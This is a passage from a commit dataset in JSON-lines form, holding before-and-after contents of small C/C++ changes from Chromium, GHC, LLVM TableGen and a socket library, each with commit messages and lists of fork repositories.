~ProxyCmd();\n    int action();\n};\n\n\n","subject":"Remove unused variable in vespa-configproxy-cmd.","message":"Remove unused variable in vespa-configproxy-cmd.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"9f0ba44a96db7918e11ffa905878c16f044baa65","old_file":"base\/scoped_handle.h","new_file":"base\/scoped_handle.h","old_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_SCOPED_HANDLE_H_\n#define BASE_SCOPED_HANDLE_H_\n\n#include \"base\/basictypes.h\"\n\n#if defined(OS_WIN)\n#include \"base\/scoped_handle_win.h\"\n#endif\n\nclass ScopedStdioHandle {\n public:\n  ScopedStdioHandle()\n      : handle_(NULL) { }\n\n  explicit ScopedStdioHandle(FILE* handle)\n      : handle_(handle) { }\n\n  ~ScopedStdioHandle() {\n    Close();\n  }\n\n  void Close() {\n    if (handle_) {\n      fclose(handle_);\n      handle_ = NULL;\n    }\n  }\n\n  FILE* get() const { return handle_; }\n\n  FILE* Take() {\n    FILE* temp = handle_;\n    handle_ = NULL;\n    return temp;\n  }\n\n  void Set(FILE* newhandle) {\n    Close();\n    handle_ = newhandle;\n  }\n\n private:\n  FILE* handle_;\n\n  DISALLOW_EVIL_CONSTRUCTORS(ScopedStdioHandle);\n};\n\n#endif \/\/ BASE_SCOPED_HANDLE_H_\n","new_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_SCOPED_HANDLE_H_\n#define BASE_SCOPED_HANDLE_H_\n\n#include <stdio.h>\n\n#include \"base\/basictypes.h\"\n\n#if defined(OS_WIN)\n#include \"base\/scoped_handle_win.h\"\n#endif\n\nclass ScopedStdioHandle {\n public:\n  ScopedStdioHandle()\n      : handle_(NULL) { }\n\n  explicit ScopedStdioHandle(FILE* handle)\n      : handle_(handle) { }\n\n  ~ScopedStdioHandle() {\n    Close();\n  }\n\n  void Close() {\n    if (handle_) {\n      fclose(handle_);\n      handle_ = NULL;\n    }\n  }\n\n  FILE* get() const { return handle_; }\n\n  FILE* Take() {\n    FILE* temp = handle_;\n    handle_ = NULL;\n    return temp;\n  }\n\n  void Set(FILE* newhandle) {\n    Close();\n    handle_ = newhandle;\n  }\n\n private:\n  FILE* handle_;\n\n  DISALLOW_EVIL_CONSTRUCTORS(ScopedStdioHandle);\n};\n\n#endif \/\/ BASE_SCOPED_HANDLE_H_\n","subject":"Add stdio to this file becasue we use FILE.","message":"Add stdio to this file becasue we use FILE.\n\nIt starts failing with FILE, identifier not found, when\nyou remove the include for logging.h, which is included\nin scoped_handle_win.h\n\nReview URL: http:\/\/codereview.chromium.org\/16461\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@7441 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,keishi\/chromium,hujiajie\/pa-chromium,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,robclark\/chromium,Jonekee\/chromium.src,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,anirudhSK\/chromium,ltilve\/chromium,dednal\/chromium.src,patrickm\/chromium.src,robclark\/chromium,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,zcbenz\/cefode-chromium,anirudhSK\/chromium,dednal\/chromium.src,hujiajie\/pa-chromium,robclark\/chromium,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,rogerwang\/chromium,rogerwang\/chromium,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,dushu1203\/chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,robclark\/chromium,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,keishi\/chromium,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,rogerwang\/chromium,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,robclark\/chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,keishi\/chromium,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Just-D\/chromium-1,markYoungH\/chromium.src,dushu1203\/chromium.src,Jonekee\/chromium.src,ltilve\/chromium,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,jaruba\/chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,robclark\/chromium,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,robclark\/chromium,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,zcbenz\/cefode-chromium,anirudhSK\/chromium,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,keishi\/chromium,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,patrickm\/chromium.src,chuan9\/chromium-crosswalk,rogerwang\/chromium,M4sse\/chromium.src,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,keishi\/chromium,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,ltilve\/chromium,rogerwang\/chromium,ChromiumWebApps\/chromium,anirudhSK\/chromium,Chilledheart\/chromium,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,dednal\/chromium.src,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,patrickm\/chromium.src,Just-D\/chromium-1,dednal\/chromium.src,robclark\/chromium,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,dednal\/chromium.src,keishi\/chromium,M4sse\/chromium.src,ondra-novak\/chromium.src,markYoungH\/chromium.src,patrickm\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,keishi\/chromium,robclark\/chromium,rogerwang\/chromium,jaruba\/chromium.src,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,robclark\/chromium,ltilve\/chromium,markYoungH\/chromium.src,M4sse\/chromium.src,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,littlstar\/chromium.src,keishi\/chromium,littlstar\/chromium.src,timopulkkinen\/BubbleFish,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,littlstar\/chromium.src,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,Just-D\/chromium-1,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,Jonekee\/chromium.src,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,patrickm\/chromium.src,zcbenz\/cefode-chromium,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,keishi\/chromium,M4sse\/chromium.src,dednal\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,rogerwang\/chromium,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,axinging\/chromium-crosswalk,dushu1203\/chromium.src,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,dednal\/chromium.src,littlstar\/chromium.src,hgl888\/chromium-crosswalk,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,M4sse\/chromium.src,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,jaruba\/chromium.src,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,Chilledheart\/chromium,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,rogerwang\/chromium,hgl888\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,ChromiumWebApps\/chromium,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,Chilledheart\/chromium,Chilledheart\/chromium,Just-D\/chromium-1,ondra-novak\/chromium.src,dednal\/chromium.src,patrickm\/chromium.src,M4sse\/chromium.src,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk"}
{"commit":"1f5338e7b71f56c6d2451b9b23608c851bf90c8a","old_file":"compiler\/cbits\/genSym.c","new_file":"compiler\/cbits\/genSym.c","old_contents":"\n#include \"Rts.h\"\n\nstatic HsInt GenSymCounter = 0;\n\nHsInt genSym(void) {\n    if (n_capabilities == 1) {\n        return GenSymCounter++;\n    } else {\n        return atomic_inc((StgWord *)&GenSymCounter, 1);\n    }\n}\n\n","new_contents":"\n#include \"Rts.h\"\n\nstatic HsInt GenSymCounter = 0;\n\nHsInt genSym(void) {\n#if defined(THREADED_RTS)\n    if (n_capabilities == 1) {\n        return GenSymCounter++;\n    } else {\n        return atomic_inc((StgWord *)&GenSymCounter, 1);\n    }\n#else\n    return GenSymCounter++;\n#endif\n}\n\n","subject":"Fix bootstrapping of GHC with earlier versions","message":"Fix bootstrapping of GHC with earlier versions\n\nWe can no longer use atomic_inc() in the stage1 compiler because its\nprototype was recently changed.\n\nSince the stage1 compiler is always single-threaded, only use\natomic_inc() when THREADED_RTS is defined.\n","lang":"C","license":"bsd-3-clause","repos":"mcschroeder\/ghc,TomMD\/ghc,fmthoma\/ghc,urbanslug\/ghc,da-x\/ghc,olsner\/ghc,vTurbine\/ghc,olsner\/ghc,anton-dessiatov\/ghc,GaloisInc\/halvm-ghc,sgillespie\/ghc,ekmett\/ghc,acowley\/ghc,olsner\/ghc,mettekou\/ghc,ml9951\/ghc,forked-upstream-packages-for-ghcjs\/ghc,forked-upstream-packages-for-ghcjs\/ghc,vTurbine\/ghc,ryantm\/ghc,gridaphobe\/ghc,spacekitteh\/smcghc,TomMD\/ghc,ml9951\/ghc,ezyang\/ghc,sdiehl\/ghc,bitemyapp\/ghc,nkaretnikov\/ghc,gridaphobe\/ghc,tibbe\/ghc,nkaretnikov\/ghc,acowley\/ghc,sgillespie\/ghc,snoyberg\/ghc,urbanslug\/ghc,ryantm\/ghc,shlevy\/ghc,siddhanathan\/ghc,GaloisInc\/halvm-ghc,hferreiro\/replay,hferreiro\/replay,wxwxwwxxx\/ghc,jstolarek\/ghc,nkaretnikov\/ghc,urbanslug\/ghc,frantisekfarka\/ghc-dsi,lukexi\/ghc,wxwxwwxxx\/ghc,TomMD\/ghc,mfine\/ghc,elieux\/ghc,ezyang\/ghc,nushio3\/ghc,da-x\/ghc,snoyberg\/ghc,bitemyapp\/ghc,elieux\/ghc,sdiehl\/ghc,nathyong\/microghc-ghc,olsner\/ghc,ekmett\/ghc,sdiehl\/ghc,nathyong\/microghc-ghc,urbanslug\/ghc,olsner\/ghc,holzensp\/ghc,elieux\/ghc,mcschroeder\/ghc,mettekou\/ghc,GaloisInc\/halvm-ghc,snoyberg\/ghc,ghc-android\/ghc,gridaphobe\/ghc,green-haskell\/ghc,GaloisInc\/halvm-ghc,mfine\/ghc,jstolarek\/ghc,anton-dessiatov\/ghc,jstolarek\/ghc,tjakway\/ghcjvm,christiaanb\/ghc,mfine\/ghc,anton-dessiatov\/ghc,nathyong\/microghc-ghc,frantisekfarka\/ghc-dsi,gcampax\/ghc,AlexanderPankiv\/ghc,ryantm\/ghc,green-haskell\/ghc,gcampax\/ghc,mettekou\/ghc,forked-upstream-packages-for-ghcjs\/ghc,elieux\/ghc,anton-dessiatov\/ghc,acowley\/ghc,anton-dessiatov\/ghc,snoyberg\/ghc,tjakway\/ghcjvm,tibbe\/ghc,hferreiro\/replay,fmthoma\/ghc,sdiehl\/ghc,tibbe\/ghc,fmthoma\/ghc,gridaphobe\/ghc,nathyong\/microghc-ghc,lukexi\/ghc,tjakway\/ghcjvm,bitemyapp\/ghc,vTurbine\/ghc,anton-dessiatov\/ghc,ezyang\/ghc,hferreiro\/replay,mcschroeder\/ghc,elieux\/ghc,ml9951\/ghc,shlevy\/ghc,gcampax\/ghc,nkaretnikov\/ghc,snoyberg\/ghc,GaloisInc\/halvm-ghc,holzensp\/ghc,lukexi\/ghc,hferreiro\/replay,acowley\/ghc,anton-dessiatov\/ghc,urbanslug\/ghc,christiaanb\/ghc,oldmanmike\/ghc,ekmett\/ghc,ghc-android\/ghc,gcampax\/ghc,vikraman\/ghc,tjakway\/ghcjvm,fmthoma\/ghc,tjakway\/ghcjvm,hferreiro\/replay,oldmanmike\/ghc,nushio3\/ghc,ezyang\/ghc,wxwxwwxxx\/ghc,lukexi\/ghc,jstolarek\/ghc,ezyang\/ghc,shlevy\/ghc,AlexanderPankiv\/ghc,snoyberg\/ghc,ekmett\/ghc,mettekou\/ghc,nushio3\/ghc,green-haskell\/ghc,vikraman\/ghc,AlexanderPankiv\/ghc,mcschroeder\/ghc,sgillespie\/ghc,mfine\/ghc,tibbe\/ghc,forked-upstream-packages-for-ghcjs\/ghc,sgillespie\/ghc,tjakway\/ghcjvm,siddhanathan\/ghc,urbanslug\/ghc,mfine\/ghc,frantisekfarka\/ghc-dsi,wxwxwwxxx\/ghc,vikraman\/ghc,siddhanathan\/ghc,elieux\/ghc,AlexanderPankiv\/ghc,spacekitteh\/smcghc,mfine\/ghc,ekmett\/ghc,oldmanmike\/ghc,tibbe\/ghc,mettekou\/ghc,bitemyapp\/ghc,nkaretnikov\/ghc,fmthoma\/ghc,da-x\/ghc,ghc-android\/ghc,wxwxwwxxx\/ghc,oldmanmike\/ghc,gridaphobe\/ghc,vTurbine\/ghc,forked-upstream-packages-for-ghcjs\/ghc,mcschroeder\/ghc,mcschroeder\/ghc,elieux\/ghc,oldmanmike\/ghc,lukexi\/ghc,shlevy\/ghc,siddhanathan\/ghc,tjakway\/ghcjvm,fmthoma\/ghc,holzensp\/ghc,da-x\/ghc,sdiehl\/ghc,christiaanb\/ghc,olsner\/ghc,ezyang\/ghc,mettekou\/ghc,nushio3\/ghc,wxwxwwxxx\/ghc,sgillespie\/ghc,nkaretnikov\/ghc,christiaanb\/ghc,christiaanb\/ghc,urbanslug\/ghc,acowley\/ghc,mettekou\/ghc,ezyang\/ghc,frantisekfarka\/ghc-dsi,forked-upstream-packages-for-ghcjs\/ghc,vikraman\/ghc,gridaphobe\/ghc,lukexi\/ghc-7.8-arm64,mcschroeder\/ghc,TomMD\/ghc,sdiehl\/ghc,ghc-android\/ghc,frantisekfarka\/ghc-dsi,olsner\/ghc,jstolarek\/ghc,gcampax\/ghc,TomMD\/ghc,snoyberg\/ghc,nkaretnikov\/ghc,shlevy\/ghc,sgillespie\/ghc,lukexi\/ghc-7.8-arm64,spacekitteh\/smcghc,AlexanderPankiv\/ghc,nushio3\/ghc,holzensp\/ghc,shlevy\/ghc,vikraman\/ghc,da-x\/ghc,vTurbine\/ghc,oldmanmike\/ghc,AlexanderPankiv\/ghc,sgillespie\/ghc,hferreiro\/replay,nathyong\/microghc-ghc,ml9951\/ghc,ml9951\/ghc,GaloisInc\/halvm-ghc,ml9951\/ghc,oldmanmike\/ghc,ghc-android\/ghc,da-x\/ghc,siddhanathan\/ghc,fmthoma\/ghc,siddhanathan\/ghc,spacekitteh\/smcghc,lukexi\/ghc-7.8-arm64,christiaanb\/ghc,spacekitteh\/smcghc,nathyong\/microghc-ghc,forked-upstream-packages-for-ghcjs\/ghc,vTurbine\/ghc,gcampax\/ghc,nathyong\/microghc-ghc,vikraman\/ghc,ml9951\/ghc,gcampax\/ghc,holzensp\/ghc,siddhanathan\/ghc,wxwxwwxxx\/ghc,da-x\/ghc,ryantm\/ghc,vTurbine\/ghc,mfine\/ghc,TomMD\/ghc,acowley\/ghc,vikraman\/ghc,bitemyapp\/ghc,TomMD\/ghc,acowley\/ghc,nushio3\/ghc,sdiehl\/ghc,green-haskell\/ghc,gridaphobe\/ghc,GaloisInc\/halvm-ghc,ghc-android\/ghc,lukexi\/ghc-7.8-arm64,green-haskell\/ghc,ghc-android\/ghc,nushio3\/ghc,shlevy\/ghc,christiaanb\/ghc,AlexanderPankiv\/ghc,ryantm\/ghc,ml9951\/ghc,lukexi\/ghc-7.8-arm64"}
{"commit":"6478bdce01f7e2363f78cb248f677c1db0bdc303","old_file":"lib\/TableGen\/TGPreprocessor.h","new_file":"lib\/TableGen\/TGPreprocessor.h","old_contents":"\/\/===- TGPreprocessor.h - Preprocessor for TableGen Files -------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This class represents the Preprocessor for tablegen files.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef TGPREPROCESSOR_H\n#define TGPREPROCESSOR_H\n\n#include <vector>\n\nnamespace llvm {\nclass MemoryBuffer;\nclass SourceMgr;\nclass tool_output_file;\n\nclass TGPPLexer;\nclass TGPPRange;\nclass TGPPRecord;\n\ntypedef std::vector<TGPPRecord> TGPPRecords;\n\nclass TGPreprocessor {\n  SourceMgr &SrcMgr;\n  tool_output_file &Out;\n\n  TGPPLexer *Lexer;\n  TGPPRecords *CurRecords;\n\n  bool ParseBlock(bool TopLevel);\n  bool ParseForLoop();\n  bool ParseRange(TGPPRange *Range);\n\npublic:\n  TGPreprocessor(SourceMgr &SM, tool_output_file &O)\n    : SrcMgr(SM), Out(O), Lexer(NULL), CurRecords(NULL) {\n  }\n\n  \/\/\/ PreprocessFile - Main entrypoint for preprocess a tblgen file.  These\n  \/\/\/ preprocess routines return true on error, or false on success.\n  bool PreprocessFile();\n};\n} \/\/ namespace llvm\n\n#endif \/* TGPREPROCESSOR_H *\/\n","new_contents":"\/\/===- TGPreprocessor.h - Preprocessor for TableGen Files -------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This class represents the Preprocessor for tablegen files.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef TGPREPROCESSOR_H\n#define TGPREPROCESSOR_H\n\n#include <vector>\n\nnamespace llvm {\nclass MemoryBuffer;\nclass SourceMgr;\nclass tool_output_file;\n\nclass TGPPLexer;\nclass TGPPRange;\nclass TGPPRecord;\n\ntypedef std::vector<TGPPRecord> TGPPRecords;\n\nclass TGPreprocessor {\n  SourceMgr &SrcMgr;\n  tool_output_file &Out;\n\n  TGPPLexer *Lexer;\n  TGPPRecords *CurRecords;\n\n  bool ParseBlock(bool TopLevel);\n  bool ParseForLoop();\n  bool ParseRange(TGPPRange *Range);\n\npublic:\n  TGPreprocessor(SourceMgr &SM, tool_output_file &O)\n    : SrcMgr(SM), Out(O), Lexer(0), CurRecords(0) {\n  }\n\n  \/\/\/ PreprocessFile - Main entrypoint for preprocess a tblgen file.  These\n  \/\/\/ preprocess routines return true on error, or false on success.\n  bool PreprocessFile();\n};\n} \/\/ namespace llvm\n\n#endif \/* TGPREPROCESSOR_H *\/\n","subject":"Fix compilation when using gcc-4.6. Patch by wanders.","message":"Fix compilation when using gcc-4.6.  Patch by wanders.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@141178 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap"}
{"commit":"768d6be6353fdc725edea610a89e360f52dead82","old_file":"include\/ft\/sock\/socket.h","new_file":"include\/ft\/sock\/socket.h","old_contents":"#ifndef FT_SOCK_SOCKET_H_\n#define FT_SOCK_SOCKET_H_\n\nstruct ft_socket\n{\n\tstruct ft_context * context;\n\n\tconst char * socket_class;\n\n\tint ai_family;\n\tint ai_socktype;\n\tint ai_protocol;\n\n\tstruct sockaddr_storage addr;\n\tsocklen_t addrlen;\n\n\t\/\/ Custom data fields\n\tvoid * protocol;\n\tvoid * data;\n};\n\n\nstatic inline bool ft_socket_init_(\n\tstruct ft_socket * this, const char * socket_class, struct ft_context * context,\n\tint domain, int type, int protocol,\n\tconst struct sockaddr * addr, socklen_t addrlen\n)\n{\n\tassert(this != NULL);\n\tassert(context != NULL);\n\n\n\tthis->context = context;\n\tthis->socket_class = socket_class;\n\n\tthis->ai_family = domain;\n\tthis->ai_socktype = type;\n\tthis->ai_protocol = protocol;\n\n\tif (addr != NULL)\n\t{\n\t\tmemcpy(&this->addr, addr, addrlen);\n\t\tthis->addrlen = addrlen;\n\t}\n\telse\n\t{\n\t\tassert(addrlen == 0);\n\t\tmemset(&this->addr, 0, sizeof(this->addr));\n\t}\n\n\tthis->protocol = NULL;\n\tthis->data = NULL;\n\n\treturn true;\n}\n\n#endif \/\/FT_SOCK_SOCKET_H_\n","new_contents":"#ifndef FT_SOCK_SOCKET_H_\n#define FT_SOCK_SOCKET_H_\n\nstruct ft_socket\n{\n\tstruct ft_context * context;\n\n\tconst char * clazz;\n\n\tint ai_family;\n\tint ai_socktype;\n\tint ai_protocol;\n\n\tstruct sockaddr_storage addr;\n\tsocklen_t addrlen;\n\n\t\/\/ Custom data fields\n\tvoid * protocol;\n\tvoid * data;\n};\n\n\nstatic inline bool ft_socket_init_(\n\tstruct ft_socket * this, const char * clazz, struct ft_context * context,\n\tint domain, int type, int protocol,\n\tconst struct sockaddr * addr, socklen_t addrlen\n)\n{\n\tassert(this != NULL);\n\tassert(context != NULL);\n\n\n\tthis->context = context;\n\tthis->clazz = clazz;\n\n\tthis->ai_family = domain;\n\tthis->ai_socktype = type;\n\tthis->ai_protocol = protocol;\n\n\tif (addr != NULL)\n\t{\n\t\tmemcpy(&this->addr, addr, addrlen);\n\t\tthis->addrlen = addrlen;\n\t}\n\telse\n\t{\n\t\tassert(addrlen == 0);\n\t\tmemset(&this->addr, 0, sizeof(this->addr));\n\t}\n\n\tthis->protocol = NULL;\n\tthis->data = NULL;\n\n\treturn true;\n}\n\n#endif \/\/FT_SOCK_SOCKET_H_\n","subject":"Unify name of the class.","message":"Unify name of the class.\n","lang":"C","license":"bsd-3-clause","repos":"TeskaLabs\/Frame_Transporter,TeskaLabs\/SeaCat-Common-Library,TeskaLabs\/Frame_Transporter,TeskaLabs\/Frame-Transporter,TeskaLabs\/Frame-Transporter"}
